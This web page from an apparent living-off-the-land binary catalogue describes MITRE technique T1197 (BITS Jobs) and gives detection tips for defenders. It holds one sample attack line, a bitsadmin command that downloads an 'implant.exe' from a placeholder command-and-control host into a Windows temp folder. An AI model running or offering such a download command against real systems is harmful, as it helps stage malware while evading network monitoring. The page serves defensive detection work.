How many Living-off-the-Land Binaries abuse T1197?

LOLPulse tracks 1 verified living-off-the-land binaries across Windows, Linux, and macOS that adversaries can leverage to execute BITS Jobs (T1197).

How can detection engineers monitor for T1197?

Detection strategies involve correlating process command-line arguments, parent process lineage, and behavioral telemetry rules (KQL, Sigma, and Splunk) specifically authored for the binaries listed in this matrix.

T1197Tactic: Defense EvasionOfficial MITRE ATT&CK Page

T1197: BITS Jobs

Adversaries may abuse the Background Intelligent Transfer Service (BITS) to download, execute, or clean up malicious payloads in a covert manner.

Total Capable Binaries: 1

•

Windows: 1

•

Linux: 0

•

macOS: 0

Living-off-the-Land Matrix for T1197

Across 1 verified binaries

Windows1 payloads

bitsadmin.exe

Background Intelligent Transfer Service (BITS) administrator tool manages asynchronous, throttled background transfers. Attackers use BITS to stage remote downloads that survive reboots and evade conventional network monitoring.

Sample Attack Vector:

bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe

Inspect bitsadmin.exe & Telemetry

Curated & Verified by

Sharon Ben Moshe

Cybersecurity Researcher & Detection Engineer • Check Point

LinkedIn Profile Methodology & Papers